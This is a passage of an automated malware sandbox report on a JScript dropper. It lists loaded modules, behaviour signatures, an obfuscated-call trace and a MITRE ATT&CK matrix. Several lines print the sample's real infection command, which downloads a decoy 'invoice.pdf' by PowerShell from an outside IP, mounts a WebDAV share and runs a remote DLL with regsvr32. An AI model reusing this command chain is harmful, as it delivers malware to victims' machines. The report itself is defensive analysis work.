Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3640.js.csv");ITextStream.WriteLine(" entry:8208 f:bjeotgl");ITextStream.WriteLine(" exec:2 f:bjeotgl");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49728

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6044			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3825			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2748	Thread sleep count: 6044 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2748	Thread sleep count: 3825 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4976	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1836	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3461045953.000002DFB342B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.2250429613.0000017393189000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2250429613.0000017393128000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3462155022.000002DFB8A54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3462108148.000002DFB8A42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2250429613.0000017393189000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
